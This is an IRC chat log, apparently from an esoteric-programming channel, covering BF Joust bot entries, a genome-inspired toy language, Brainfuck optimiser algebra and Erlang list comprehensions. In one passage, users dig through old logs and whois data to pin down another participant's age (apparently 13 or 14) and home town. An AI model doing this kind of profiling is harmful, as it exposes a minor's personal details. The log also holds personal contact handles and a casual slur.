22:45:46 <FireFly> One could still make it a computerised TCG, and check wikipedia on demand, but that'd destroy the purpose a bit, I guess
22:46:04 <ais523> time to go home, anyway
22:46:05 -!- ais523 has quit (Remote closed the connection).
22:49:58 <EgoBot> Score for FireFly_draw: 0.0
22:50:36 <FireFly> Hm, current hill is more tolerant to it
22:50:56 <ehird> "In the estimation of some atheists, Craig has won all or nearly all of his debates with atheists and is one of the most impressive debaters currently alive.[1]"
22:50:57 <ehird> http://conservapedia.com/William_Lane_Craig
22:51:43 <ehird> !bfjoust fuck_you_ima_sit_here (-+)*50000
22:51:57 <EgoBot> Score for ehird_fuck_you_ima_sit_here: 4.6
22:52:21 <ehird> 10 | - - - - - - - 0 0 0 - - - - - - - - - + | 4.6 | -11.6 | ehird_fuck_you_ima_sit_here.bfjoust
22:52:25 <lament> !bfjoust mirage (+)*300000
22:52:33 <ehird> !bfjoust fuck_you_ima_sit_here [+-]
22:52:44 <EgoBot> Score for lament_mirage: 7.7
22:52:46 <EgoBot> Score for ehird_fuck_you_ima_sit_here: 6.1
22:53:21 <ehird> lament: pretty good
22:53:24 <ehird> if by good you mean abd
22:54:46 <FireFly> !bfjoust simple (>)*9(>[-])*21
22:54:53 <EgoBot> Score for FireFly_simple: 7.0
22:55:58 <FireFly> !bfjoust simple --->>+++>>>--->>>>(>[-])*21
22:56:04 <EgoBot> Score for FireFly_simple: 7.5
22:57:17 <FireFly> !bfjoust simple (>(+)*127)*9(>[-])*21
22:57:24 <EgoBot> Score for FireFly_simple: 0.0
22:58:12 <FireFly> !bfjoust simple >(>(-)*128)*29
22:58:19 <EgoBot> Score for FireFly_simple: 0.0
22:59:41 <FireFly> !bfjoust simple ++>>-->>++>>-->>>(>[-]<<+>>)*29
22:59:49 <EgoBot> Score for FireFly_simple: 7.5
23:00:54 <ehird> slackware just released a 64 bit version
23:01:00 <ehird> well just = 2009-05-19
23:01:04 <ehird> how ya doin' slowpoke
23:01:27 <FireFly> !bfjoust simple +(>-)*9(>[-].-)*21
23:01:34 <EgoBot> Score for FireFly_simple: 12.1
23:02:37 <FireFly> Oh, yeah, right.. [23:52:16] <FireFly> Time to sleep
23:02:50 -!- FireFly has quit ("Later").
23:15:39 <ehird> oerjan: any success w/ self-recognizer?
23:18:49 <oerjan> and i haven't tried any more than what i already commented
23:18:58 <ehird> oerjan: you talked about it
23:19:20 <oerjan> that Mirror thing. wasn't that yours?
23:19:34 <ehird> oerjan: i never actually got it working
23:19:40 <ehird> shall I ask #haskell?
23:20:08 <oerjan> well what i suggested would be the beginning of an algebra
23:21:12 * ehird challenges #haskell
23:21:12 <oerjan> hm if you parametrize on Bool you have an Applicative instance
23:21:50 <oerjan> newtype Mirror b = M { runM :: Mirror b -> b }
23:22:04 <oerjan> hm wait that doesn't work
23:22:55 <oerjan> you cannot map when changing the type
23:23:58 -!- Corun has joined.
23:24:03 <ehird> "A massive hard disk, a DVD-2 drive, and a 400-MHz Pentium II processor make Dell's XPS R400 a prime example of a power-user's PC."
23:24:04 <ehird> "Storage is the forte of the XPS R400: A speedy IBM Deskstar hard disk holds a whopping 14.4GB of data."
23:27:05 <ehird> pikhq: On our favourite topic, excessive computers, ...
23:27:14 <ehird> pikhq: http://files.myopera.com/wiz/albums/781632/wiz-desktop1.jpg That machine is fanlessly heatpipe-cooled and uses an SSD.
23:27:29 <ehird> Bulky solid state computer + gigantic array of monitors = ????????
00:03:56 <pikhq> ehird: Good heater.
00:13:18 <jix_> i read that as ehrid = no sex
00:13:25 <jix_> only then noticing the = ????? above
00:13:46 <jix_> how old is he?
00:14:28 <psygnisfive> ehird, are you still 14? when is your birthday?
00:16:30 <fizzie> [2008-08-02 02:14:21] < tusho> 13 in 20 days, though.
00:16:41 <fizzie> I guess it should be computable from that.
00:16:57 <psygnisfive> oh, but hes not 14 yet? i thought he turned 14 last year
00:17:28 <fizzie> [2008-12-23 17:25:57] < ehird> I don't exactly have plans to try and see if they'd welcome a random 14 year old, no. :P
00:17:41 <fizzie> Inconclusive. Maybe the first one was a typo; it was just one line from grepping.
00:18:44 <fizzie> No, the latter was referring one year to the future.
00:19:05 <fizzie> According to the logs, he seems to claim 13ness still.
00:19:13 <oerjan> he's _actually_ a 65 year old grandmother
00:19:16 <jix_> where does he live?
00:19:27 <fizzie> oerjan: Wouldn't be too surprised.
00:20:35 <fizzie> The location's been mentioned in the logs too; somewhere in UK, anyway. Of course [citation needed].
00:20:35 <jix_> ok he is from the US (at least his internet connection is)
00:20:54 <fizzie> That's just a bouncer. At least it was.
00:21:06 <jix_> psygnisfive: mine isn't
00:21:23 <jix_> if you do a whois on me you'll see a .de there indicating that i'm connecting from germany
00:21:27 <jix_> which is indeed true
00:22:23 <oerjan> fizzie: hexham or something like that
00:23:51 <psygnisfive> a friend and i are going to be making a derivative version of linux. any suggestions?
00:24:03 <psygnisfive> (besides pre-installed BF support, i mean)
00:24:06 <fizzie> Based on grepping for "live in" in ehird's comments, he lives: (a) "a little hole"; (b) "in the shadow of his [tusho] memory"; (c) "BIZZARO BRITAIN"; (d) "21st century"; (e) "in a world of infinite memory".
00:24:18 <fizzie> oerjan: Yes, it had something to do with witches and livestock, so that sounds probable.
00:24:20 <pikhq> psygnisfive: Use Gregor's package manager.
00:24:57 <jix_> psygnisfive: what are you aiming to do with it?
00:25:25 <psygnisfive> tho also experiment with a different kind of way to use a computer
00:25:30 <jix_> and will you do a derivative version of linux or just a linux distribution?
00:25:42 <psygnisfive> one of the things were going to do is make it heavily data-oriented
00:25:49 <psygnisfive> so that applications are almost non-existant
00:26:29 <jix_> will you need kernel support for that?
00:26:46 <jix_> as in a typed data sharing between processes or something like that
00:26:48 <psygnisfive> this is all going to be like... framework-stuff.
00:27:33 <jix_> psygnisfive: that it would be better described as a linux distribution as you're just bundling linux with your frameworks rather than modifying linux itself
00:28:04 <psygnisfive> but linux often is seen as including much more than just, say, the kernel
00:28:33 <psygnisfive> hence why people talk about "the linux kernel" as distinct from other parts of linux
00:29:22 <jix_> psygnisfive: well people might talk about the vim text editor too
00:29:32 <jix_> that doesn't indicate that there is something of vim that isn't a text editor
00:29:40 <pikhq> psygnisfive: I just say "the Linux kernel" as disambiguation for those folk, but anyways...
00:30:20 <jix_> psygnisfive: don't use linux... everyone is doing that nowadays
00:30:35 <psygnisfive> jix_, that would require even more work. we're lazy! :D
00:30:38 <jix_> take some bsd or something....
00:31:06 <psygnisfive> its going to be *nix, of some flavor. maybe not linux itself, but thats irrelevant.
00:34:55 <jix_> zero user interface
00:35:04 <jix_> makes interaction with the user impossible
00:35:19 <jix_> but thereby allows very good optimization
00:35:35 <jix_> based on avoiding calculations with no visible effects
00:35:40 <oerjan> also avoids all PEBKAC errors
00:36:59 <psygnisfive> i dont know oberon, but i doubt its quite like what i intend
00:37:09 <jix_> zoom |zoōm| verb [ intrans. ] 1 (esp. of a car or aircraft) move or travel very quickly : we watched the fly zooming about | he jumped into his car and zoomed off.
00:37:28 <jix_> so the user interface allows you to travel very quickly?
00:38:02 <jix_> so it could be a user interface for a car?
00:38:19 <oerjan> psygnisfive: http://ignorethecode.net/blog/2009/04/22/oberon/
00:39:35 <psygnisfive> oh, but theirs is infact a zui! interesting
01:23:41 -!- olsner has quit ("Leaving").
01:38:22 -!- oerjan has quit ("Good night").
01:41:48 -!- inurinternet has joined.
01:48:09 -!- inurinternet has quit (Read error: 60 (Operation timed out)).
01:55:47 -!- amca has joined.
01:57:52 -!- inurinternet has joined.
02:35:32 -!- Patashu has joined.
02:36:59 -!- bsmntbombdood has joined.
02:37:26 -!- coppro has joined.
02:47:36 <nooga> looks extremely exotic
03:23:47 <amca> psygnisfive: What does the 'e' in 'beb' stand for?
03:43:53 -!- amca has quit ("Farewell").
04:00:34 <pikhq> DEADBEEF-8, rather.
04:25:51 -!- Corun has quit ("Leaving...").
04:31:04 <GregorR> Man, I just randomly remember "cat *ding* I'm a kitty cat, and I dance dance dance and I dance dance dance"
04:52:13 -!- coppro has quit (Remote closed the connection).
04:59:32 -!- inurinternet has quit (Read error: 110 (Connection timed out)).
05:29:58 -!- coppro has joined.
06:56:26 -!- inurinternet has joined.
07:06:42 -!- fungebob has quit (Read error: 110 (Connection timed out)).
07:23:51 -!- coppro has quit (Read error: 110 (Connection timed out)).
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:32:37 <kerlo_> Neural net idea of the day: Neurons are strings. There are infinitely many of them. Connections between neurons are Thue rules.
08:37:40 <kerlo_> Start with a Hopfield net. Tag every neuron with a string. If a neuron's activation goes too low, garbage collect it. If there are enough strong connections from neurons to a nonexistent neuron, create it.
08:38:13 <kerlo_> Connections are not between specific neurons; they're between any neuron containing one string to the corresponding neuron containing another.
08:38:46 <psygnisfive> so i had an idea for a pseudogenetic system. im not sure how much computation you could do with it tho.
08:39:59 <kerlo_> I demand that you ignore yourself and pay attention to me exclusively. :-P
08:40:10 <psygnisfive> 1: a sequence of "genes", 2: a global "signal environment", 3: "signals" ~ any integer
08:40:11 <kerlo_> Actually, I'm going to bed.
08:40:26 <psygnisfive> genes turn on or off in the presence of particular sets of signals in the signal environment
08:40:50 <psygnisfive> and in turning on, they begin transmitting a set of signals.
08:54:55 -!- lereah_ has joined.
09:19:46 -!- Sgeo has quit (Read error: 104 (Connection reset by peer)).
09:42:52 <tetha> psygnisfive: sounds like a strange encoding of a grammar
09:43:17 <psygnisfive> its intended to mimic, to some extent, genetic processes
09:43:32 <psygnisfive> im just curious how much computation could actually be performed on such a machine
09:44:19 <tetha> well, as i said, it sounds like some unrestricted grammar, with the signal enviroment being the current string, the signals being the symbols of the grammar and the genome being the transition rules
09:44:30 <psygnisfive> really i guess you could even eliminate the sequence of the "genes" and leave them unordered
09:44:32 <tetha> so if genomes can do about anything to the signal enviroment, it should be pretty powerful
09:45:37 <psygnisfive> sure, one gene can emit a signal that turns off another gene, thus turning off the other signal
09:45:50 <tetha> so that would make it CSL
09:46:11 <psygnisfive> and i dont think a proof is easy to come up with.
09:47:06 <psygnisfive> there is a potentially infinite number of signals, so ...
09:47:15 <tetha> do you have any document about this system?
09:47:26 <psygnisfive> no. i just made it up in about 10 seconds. :P
09:48:07 <psygnisfive> tho i think you could write an interpreter for it in a few minutes.
09:48:48 <Patashu> is a list of signals that turn it off
09:48:49 <Patashu> and a list of signals it emits when on?
09:49:14 <Patashu> and a list of signals that turn it on
09:49:25 <Patashu> what about race conditions: let's say gene A turns on genes B and C which emit signals b and c respectively
09:49:31 <Patashu> gene D turns on in the presence of b and off in the presence of c
09:50:07 <psygnisfive> both! or maybe neither. maybe it fluctuates or maybe this is prohibited :P
09:50:44 <Patashu> maybe do something like this
09:50:53 <psygnisfive> see, these things never happen in the real world because its all molecules
09:51:04 <Patashu> if a gene is receiving more turn-on signals than turn-off signals or vice versa it is turned on/off respectively
09:51:07 <tetha> hm, the crazy part of my mind thinks of encoding configurations of a turing machine as genomes and using signals as "hey, configuration c_1 is active", and then some genome for configuration c_123 things "cool, Im the follower of c_1" and activates itself
09:51:17 <Patashu> but if it's receiving equal amounts of both it is definitely off
09:51:35 <psygnisfive> patashu: we could incorporate signal strengths, but equal strengths still results in a problem.
09:51:44 <Patashu> but it would all be stepwise, right? every tick you check every gene's status using the signals transmitted the previous round, then you take the new set of signals and check every gene again
09:52:03 <Patashu> you could instead rank signal priorities
09:52:04 <Patashu> so they can never be equal
09:52:23 <Patashu> a way to introduce randomness? :P
09:52:24 <tetha> nondeterministic would be fun
09:52:41 <psygnisfive> or it could be both simultaneously and the state system would branch.
09:52:46 <tetha> that set of consistent genomes is activated such that the system reaches a fixed point
09:53:09 <Patashu> or when there's an inconsistency it halts :P
09:53:11 <Patashu> this special condition is fun
09:53:13 <psygnisfive> would it be possible to make a UTM in this
09:53:25 <tetha> then you'd even be able to model space-limited nondeterministic tm
09:53:29 <psygnisfive> oh yes, inconsistency = halting, thats possible
09:53:50 <Patashu> if signal a is being emitted by multiple genes
09:53:56 <Patashu> does every gene count it multiple times?
09:54:03 <Patashu> when it's looking at number of signals turning it on vs number of signals turning it off
09:54:14 <psygnisfive> but like i said, you can have signal strength.
09:54:32 <psygnisfive> the interpreter gets more and more complicated for each of these modifications.
09:54:52 <tetha> combine that with fuzzy logic
09:54:58 <psygnisfive> its the difference between a list of ints and a list of pairs of ints
09:55:01 <tetha> when the probability of an inconsistency is at least 2/3, half
09:55:44 <tetha> I need one for my little backtracking language first :)
09:55:58 <Patashu> I might try one in java for the hell of it
09:56:10 <tetha> na, the very basic thing is pretty easy
09:56:21 <tetha> just have the signal state and map the genome-functions on them to get the next state
09:56:25 <tetha> iterate until infinity
09:56:39 <Patashu> what would a genome function be
09:56:51 <tetha> genome_function :: [Signal] -> [Signal]
09:57:54 <psygnisfive> genome[n] = genome[n-1].map { |gene| gene.turn_on.subsetof?(environment) ? gene.on_version : gene.off_version }
09:58:37 <Patashu> does |gene| mean something like 'for gene in genes'
09:58:39 <psygnisfive> environment[n] = genome[n].map { |gene| gene.signals }.reduce(concat)
09:59:39 <tetha> gen_fun g e = if (all (member e) (requirements g)) then output g else []
09:59:45 <tetha> that should kinda work in haskell
10:04:56 <psygnisfive> idea: a read head that goes back and forth over the genome processing the genes one at a time
10:05:19 <tetha> pff, read heads :)
10:09:33 -!- MigoMipo has joined.
10:12:42 <Patashu> that would still be nondeterministic wouldn't it?
10:12:42 <psygnisfive> use the interp i described. no off signals, just on signals which must be maintained to keep a gene on.
10:13:19 <tetha> that compiles into a nice dataflow-graph
10:14:21 <psygnisfive> otherwise the signal state is always increasing.
10:14:30 <Patashu> if there are any on signals be on
10:14:43 <Patashu> hence have to be maintained
10:15:20 <psygnisfive> yeah but the only way the gene state can stop being maintained is if some signal vanishes
10:15:56 <tetha> uh, I could have genomes A, B, C, A turns on B, B turns on C and C turns of B
10:16:05 <tetha> thus turning off B and thus turning off itself
10:16:29 -!- psygnisfive has changed nick to p5[sleep].
10:16:37 <tetha> na, I think I will implement the on/off-output-version at first
10:16:45 <tetha> because anti-signals can be implemented in that, I think
10:20:18 <p5[sleep]> combine the read head with a limit to only one transmitted signal maybe.
10:20:49 -!- oerjan has joined.
10:29:36 -!- FireFly has joined.
10:31:47 -!- FireFly has quit (SendQ exceeded).
10:32:59 -!- FireFly has joined.
10:39:02 <AnMaster> <ehird> AnMaster's favourite storage mechanism <-- for backups yes.
10:40:12 <lereah_> I store all my data with cuneiform writing on a wax tablet
10:40:16 <AnMaster> <ehird> pikhq: http://www.rob-matthews.com/files/gimgs/5_wikipedia-1.jpg <-- wow
10:40:20 <Patashu> I store all my data in hand-written xml
10:41:02 <Patashu> and use OCD software that parses the xml visually
10:41:18 <Patashu> I store all my data as junk DNA in my body
10:43:41 <AnMaster> but seriously, tape is good for backups. Much easier to handle than cds for it.
10:44:47 <lereah_> Patashu : But what if you get corrupted data and then cancer
10:45:25 <Patashu> put in the DNA to make cancer cells when I'm storing a backup
10:45:31 <Patashu> lol that's a great mental image
10:45:43 <Patashu> in the future when we have genetic engineering on demand, imagine the data injection attacks
10:49:21 -!- oerjan has quit ("leaving").
10:49:59 -!- Slereah_ has joined.
10:59:38 -!- Slereah has quit (Read error: 110 (Connection timed out)).
11:00:58 -!- MigoMipo has left (?).
11:09:40 -!- FireFly has quit ("http://www.mibbit.com ajax IRC Client").
11:16:19 -!- inurinternet has quit (Client Quit).
12:15:31 -!- fungebob has joined.
12:19:54 <AnMaster> So my bf optimiser ended up with this expression: p[8]=255 + 255*p[8]; I'm pretty sure this should map to something simpler, but I can't think of what
12:20:46 <AnMaster> p[8]=-p[8]-1 right? That operation seems strangely faimiliar...
12:22:29 <tetha> 255*(p[8]-1) -> 256*(p[8]-1) - (p[8] - 1) -> (p[8]-1)<<8 - p[8] - 1, so if your registers are 8 bit, yes
12:23:20 <AnMaster> tetha, tape cells are 8 bit unsigned yes
12:29:04 -!- Leonidas has quit (hubbard.freenode.net irc.freenode.net).
12:29:04 -!- mtd has quit (hubbard.freenode.net irc.freenode.net).
12:30:50 -!- mtd has joined.
12:30:50 -!- Leonidas has joined.
12:36:50 -!- fungebob has quit (Read error: 110 (Connection timed out)).
12:38:16 -!- tombom has joined.
12:39:28 <Patashu> 255*p[8] is like -p[8] cuz of the 256 mod arithmatic
12:39:44 <Patashu> and thus adding 255 is like -1
12:42:19 <tetha> more proofs of this?
12:42:35 <Patashu> I read the question before I decided to read any further
12:44:26 <AnMaster> Patashu, I know that. My point was that the code x=-x-1; seems strangely familiar
12:45:05 -!- Leonidas has quit (hubbard.freenode.net irc.freenode.net).
12:45:05 -!- mtd has quit (hubbard.freenode.net irc.freenode.net).
12:45:56 -!- mtd has joined.
12:45:56 -!- Leonidas has joined.
12:53:26 -!- Leonidas has quit (hubbard.freenode.net irc.freenode.net).
12:53:26 -!- mtd has quit (hubbard.freenode.net irc.freenode.net).
12:55:22 -!- mtd has joined.
12:55:22 -!- Leonidas has joined.
12:55:28 -!- Corun has joined.
13:36:30 <AnMaster> p[3]=1 + 255*p[3]; -> p[3]-=1; is a valid transformation right?
13:38:15 <AnMaster> so is p[3]=1-p[3] same as p[3]-=1 then?
13:39:03 <Patashu> is set p[3] to be -p[3] but + 1
13:40:02 -!- nooga has quit (Read error: 104 (Connection reset by peer)).
13:40:09 <tetha> this is the reason our programming language professor always writes assignement as := or <-
13:40:37 <AnMaster> tetha, However, the goal here is to output as compact C code as possible.
13:41:16 <Patashu> = as assignment is kinda gay
13:41:18 <tetha> AnMaster: I dont see the connection of removing an ambiguity of "equals" and "assigns to" with the goal you want to get?
13:41:54 <AnMaster> tetha, hm? Since I was working with C output I was comparing two C outputs. = vs. -=
13:42:19 <tetha> ah, yes. I misread a bit
13:42:47 <AnMaster> For example, turning p[2]=4*p[1] + 1*p[2]; into p[2]+=4*p[1];
13:43:29 <tetha> do you seek compactness as in: small source code, in order to have it small or do you try to achieve speedups?
13:44:13 <AnMaster> tetha, as in less confusing to read. If you saw "p[2]=4*p[1] + 1*p[2];" in hand written code you would be rather "WTF did the programmer think about when he wrote this". Right?
13:44:50 <GregorR> You could translate the BF comments into C comments :P
13:45:02 <AnMaster> GregorR, possibly. If I knew where is the source it was
13:45:25 <AnMaster> GregorR, storing position info is useless when you reorder heavily by sorting by offset and so on
13:45:38 <AnMaster> so likely it would end up way way off
13:46:44 <Patashu> so what are you going to do once you start handling [>]s? :P
13:47:11 <AnMaster> Patashu, you mean, when I start trying to figure out where it will end up?
13:48:52 <AnMaster> hm... I will implement it (to begin with at least) in the constant folder. If it can prove that it will end at a specific place it will change it into a simple "move pointer fixed amount", which other passes will then eliminate (by shifting it forward while fixing up offsets of the instructions it is shifted past).
13:49:41 <AnMaster> if it can't prove it will end in a specific place, but can prove it will at least go x steps before the values are unknown it could be replaced with a constant move plus a seek from that new point I guess
13:50:08 -!- nooga has joined.
13:50:12 <AnMaster> it seems like the simplest way to implement some basic handling of it.
13:50:21 <AnMaster> possibly you could do more advanced stuff later.
13:50:29 <Patashu> right, and from then on you need to add a pointer offset to each position literal
13:50:47 <Patashu> let's say that you have a [>] in code that involves i/o
13:50:55 <Patashu> and it passes over parts that have taken input
13:51:06 <Patashu> oh like say you're reading in a string until you get a 0 and it stops
13:51:11 <Patashu> so you take that number as being a variable
13:51:23 <Patashu> and from thereon in you add that variable offset to the constant offsets
13:51:30 <Patashu> i.e. if you moved one space right it would be p[1+offset]
13:51:47 <Patashu> and any more offsets that are determined at runtime get put into offset
13:52:01 <tetha> hehe, kinky, but yes, something like that should be possible
13:52:25 <AnMaster> that seems a bit more high level. I was thinking more about cases like: >[-]+>[-]+>[-]<<<[>] could figure out it must end at "move pointer 3 steps"
13:52:50 <Patashu> if there's no i/o you can figure out what any code will do once
13:53:07 <Patashu> you could just optimize it all into setting the final array values and ending
13:53:15 <AnMaster> Patashu, and weird code like that does exist in stuff like autogenerated output from bfbasic and similar
13:53:32 <AnMaster> Patashu, I would assume that bit was a fragment of some larger program.
13:54:28 <tetha> that was what I thought about todays morning.. if you can figure out the length of the subset of the tape on which a certain piece of code works, you probably can optimize it into some output and a large vector operation
13:56:15 -!- oerjan has joined.
13:56:15 <tetha> the crux of such an optimization would be input, though
13:56:36 <tetha> in this case, output would be less of an issue
13:58:48 <AnMaster> oerjan, I don't understand the reference in sqrt(-garfield) today
13:59:36 <AnMaster> http://www.mezzacotta.net/garfield/
14:00:16 <Patashu> It just looks like it's a reference to that peanuts book
14:01:08 <Patashu> Haha this is a weird comic
14:03:13 <oerjan> <AnMaster> So my bf optimiser ended up with this expression: p[8]=255 + 255*p[8]; I'm pretty sure this should map to something simpler, but I can't think of what
14:03:55 -!- Corun has quit ("Leaving...").
14:03:58 <Patashu> Peanuts is another famous comic
14:04:08 <Patashu> replace every instance of 255 by -1
14:04:23 <oerjan> AnMaster: to be specific, peanuts is probably _the_ most famous comic in existence
14:05:04 <oerjan> probably called something else in swedish
14:08:44 <oerjan> Patashu: the point _still_ remains that AnMaster cannot use negative numbers in his setup, because erlang's remainder function doesn't handle them correctly
14:09:01 <AnMaster> oerjan, well, I can't use them easily
14:09:08 <Patashu> don't write it in erlang then?
14:09:16 <AnMaster> I could theoretically use them of course. Just would be more work
14:09:29 <oerjan> AnMaster: are you guaranteed that p[8] is between 0 and 255, literally? if so you might _still_ use p[8]=255 - p[8]
14:10:12 <AnMaster> oerjan, well since p is unsigned char* and I make sure that CHAR_BIT is 8...
14:11:02 <oerjan> AnMaster: also, that is bitwise negation
14:11:16 <AnMaster> oerjan, I knew I had seen the pattern before :)
14:12:06 <AnMaster> oerjan, anyway I don't know the current value of p[8] there, otherwise it would had been constant folded anyway.
14:12:26 <oerjan> wait, two arguments to bnot?
14:13:07 <oerjan> it _is_ a special case of xor (with 255)
14:14:13 <AnMaster> oerjan, transforming some arithmetic operations into bitwise ones might be useful. Hm
14:15:02 <oerjan> -1-x and 2*x are the ones that come to mind
14:15:52 <oerjan> elsewhere you get carry which doesn't translate that easily
14:16:54 <AnMaster> oerjan, I'm pretty sure that even GCC will translate 2*x into either bitshift or add to self, depending on what is best for the target cpu. -1-x I'm not sure if it will handle.
14:17:37 <AnMaster> oerjan, since I'm outputting to C I can leave some of the work to the C compiler. And concentrate on BF specific optimisations that a C compiler can't easily handle.
14:18:04 <AnMaster> of course this might become more relevant once I add other backends (still planned, just don't know to what languages...)
14:23:19 * AnMaster wonders how many lines of C would have been needed for this:
14:23:20 <AnMaster> [true] = lists:usort([ -1 - X =:= bnot X || X <- lists:seq(0,256) ]).
14:24:20 <nooga> i don't get that code
14:24:23 <Patashu> http://www.mezzacotta.net/garfield/?comic=34 best one so far
14:24:36 <AnMaster> [true] = lists:usort(lists:map(fun(X) -> -1 - X =:= bnot X end, lists:seq(0,256))).
14:24:52 <AnMaster> the first one use a list comprehension instead of mapping a function
14:25:20 <AnMaster> nooga, understand that better?
14:26:59 <oerjan> Patashu: you realize there is a hidden message in that?
14:27:40 <AnMaster> but what it does is, generate a list with 0,1,2,...,254,255,256. Then compare for each value that "-1 - X" is same as "bnot X". Generating a new list of true and false. Then unique-sort it (easiest way to merge all duplicate elements, not most efficient though)
14:27:51 <AnMaster> then it pattern matches the result against the list [true]
14:28:00 <AnMaster> that is a list with one element, that element being the atom true
14:28:20 <AnMaster> of course a more efficient algorithm would stop on first false (which would never happen)
14:29:21 <AnMaster> and then if false throwing the exception "math_laws_corrupted_please_restart_universe" ;P
14:31:00 <AnMaster> even better would be a simple tail recursive function with a simple counter, thus avoiding building a list at all.
14:31:08 <AnMaster> But that would be much less elegant ;P
14:31:56 -!- KingOfKarlsruhe has joined.
14:32:10 -!- oerjan has quit ("leaving").
14:33:57 -!- fungebob has joined.
14:38:55 -!- tombom_ has joined.
14:40:14 <AnMaster> (of course it might be a short (or shorter) in other functional languages, but probably not in anything C-like)
14:55:09 -!- tombom has quit (Read error: 101 (Network is unreachable)).
14:55:10 -!- tombom_ has changed nick to tombom.
15:19:23 -!- Patashu has quit ("Patashu/SteampunkX - MSN = Patashu@hotmail.com , AIM = Patashu0 , YIM = Patashu2 , Googletalk = Patashu0@gmail.com .").
15:22:07 <nooga> AnMaster: unique sort does something like: "t,t,t,t,f,f,f,t,t,t,f,f" -> "t,f,t"
15:22:31 -!- FireFly has joined.
15:25:54 <nooga> (0..256).to_a.map {|X| -1 - X == bnot X}.unique.sort
15:26:33 <AnMaster> nooga, well that is what it did above
15:26:52 <AnMaster> nooga, anyway, what language is that
15:27:17 <nooga> (0..256).to_a.map{|X| -1 - X == bnot X}.unique.sort
15:27:29 <nooga> (0..256).to_a.map({|X| -1 - X == bnot X}).unique.sort
15:27:40 <nooga> no, i just don't know the operator :D
15:28:22 <nooga> (0..256).to_a.map({|X| -1 - X == ~X}).unique.sort
15:30:25 <AnMaster> nooga, that misses the matching against a list containing one element though
15:30:40 <AnMaster> that element being true (or whatever the language uses to represent true)
15:31:22 <AnMaster> you missed that bit in your ruby version
15:31:27 <nooga> it pops out [true]
15:32:09 <AnMaster> [true] = lists:usort([-1 - X =:= bnot X || X <- lists:seq(0,256)]).
15:32:28 <AnMaster> that will throw an exception if the list isn't exactly "true"
15:32:42 <nooga> >> (0..256).to_a.map{|x| -1 - x == ~x}.uniq == [true]
15:32:50 <AnMaster> [true] =:= lists:usort([-1 - X =:= bnot X || X <- lists:seq(0,256)]).
15:33:21 <AnMaster> nooga, list comprehensions are even better.
15:34:37 <AnMaster> nooga, how would you square every number in a list? I would do [X*X||X<-List]
15:34:49 <AnMaster> where List is a variable holding the list
15:34:54 <nooga> list.map!{|x| x**2}
15:35:33 <nooga> i don't get that syntax with <-
15:36:14 <AnMaster> <nooga> or x*x <-- a list multiplied by a list returns the the the list with each member multiplied by the corresponding member of the other list? Huh?
15:36:41 <AnMaster> nooga, Hm. Do you know list comprehensions at all?
15:36:49 <AnMaster> I think haskell for example has them too
15:37:17 <nooga> AnMaster: i don't know them
15:39:57 <AnMaster> nooga, it is somewhat like map
15:40:10 <AnMaster> except you can also have several input lists.
15:40:22 -!- lereah_ has quit ("Leaving").
15:40:42 <nooga> in ruby filters are done by .reject
15:41:28 <nooga> [1,3,2,4,1].reject {|x| x > 2} #=> [1,2,1]
15:41:48 <AnMaster> 8> [ X || {a, X} <- [{a,1},{b,2},{c,3},{a,4},hello,"foo"]].
15:41:57 <AnMaster> that is a literal list in there
15:43:39 <AnMaster> 9> [{X,Y}||X<-[a,b,c],Y<-[x,y,z]].
15:43:40 <AnMaster> [{a,x},{a,y},{a,z},{b,x},{b,y},{b,z},{c,x},{c,y},{c,z}]
15:46:58 <AnMaster> [{a,a},{a,b},{a,c},{b,a},{b,b},{b,c},{c,a},{c,b},{c,c}]
15:47:06 <AnMaster> 14> [{X,Y}||X<-List,Y<-List,X=/=Y].
15:47:06 <AnMaster> [{a,b},{a,c},{b,a},{b,c},{c,a},{c,b}]
15:47:20 <AnMaster> =/= in Erlang is the same thing as C's !=
15:47:59 <AnMaster> http://erlang.org/doc/reference_manual/expressions.html#6.22 is the doc for it btw.
15:48:19 <AnMaster> not sure if it is understandable without knowing other parts of erlang
15:49:21 <nooga> erlang looks cool, but exotic
15:49:44 <AnMaster> nooga, you just aren't used to functional languages.
15:49:59 <nooga> i bet it's not like: download ruby interpreter, write a script, run $ ruby script
15:50:09 <nooga> ruby is more casual
15:50:34 <nooga> i like it bcs it mixes paradigms
15:50:52 <nooga> it's strictly object oriented (even literals or code blocks are objects)
15:50:53 <AnMaster> nooga, hm? Well depends. There is two ways. 1) Erlang, you compile things to byte code, then run in the VM. 2) escript. Basically files run as script, doesn't need to be compiled
15:50:59 <AnMaster> haven't used the escript thing
15:51:26 <nooga> but it doesn't look like strict oo it lets you to write scripts that looks as if they were procedural
15:51:38 <nooga> + it has closures, lamda, map and such
15:51:50 <AnMaster> and erlang isn't object oriented at all. I guess you could call it functional with process-orientation.
15:51:58 <tetha> hehe, I'm myself currently switching from python to haskell
15:52:01 <nooga> 5.times { block of code }
15:52:31 <AnMaster> nooga, hm? Erlang uses tail recursion for looping of course :P
15:54:54 <nooga> f = lambda {print "lala"; f.call}
15:55:06 <AnMaster> nooga, in general however, erlang is more useful for applications that run for extended periods than for quick scripts. One reason is because erlang's VM tends to have a rather long shutdown time when it shuts down the various subsystems (a second or so). escript doesn't have that issue.
15:55:32 <AnMaster> startup and while it is running is fast enough.
15:55:43 <nooga> i've heard that erlang is nice for distributed computing
15:57:00 <tetha> interesting enough, states in here are monoids
15:57:00 <tetha> er, in this little language
15:57:38 <tetha> AnMaster: I am implementing that genome language from earlier today in haskell, yes
15:57:52 <tetha> AnMaster: and the states of active, inactive genomes and signals form a monoid, yes :)
15:57:55 <AnMaster> tetha, genome language? I'm not aware of what that is
15:58:25 <tetha> AnMaster: you have signals and genomes; genomes turn on if a specific set of signals is active and off if another specific set of signals is active
15:58:32 <tetha> AnMaster: and genomes output signals, ofc
15:58:42 <tetha> AnMaster: that is the current state of idead, kinda
15:58:50 <AnMaster> tetha, this sounds like an esolang that is a parody of DNA?
15:58:56 <tetha> AnMaster: pretty much, yes
15:59:03 <tetha> AnMaster: it halts once a contradiction occurs :)
15:59:18 <tetha> nooga: there is no syntax yet
15:59:29 <tetha> AnMaster: I am pretty sure that it can compute CSL at least
15:59:58 <tetha> the set of context sensitive languages
16:00:03 <tetha> space-bounded turing machines
16:01:24 <tetha> basically one step below actual turing machines
16:01:29 <tetha> or aequivalent to any existing computer
16:03:02 <nooga> so it's turing incomplete
16:03:11 <nooga> cause it lacks that one step :D
16:03:27 <tetha> well it might be, depending on how I model signal access
16:03:53 <tetha> in this context: same computational power as
16:05:30 <AnMaster> tetha, when done you should implement a genetic algorithm for outputting hello world in it.
16:05:39 <AnMaster> to make the parody even better
16:06:11 <tetha> IO was not defined yet
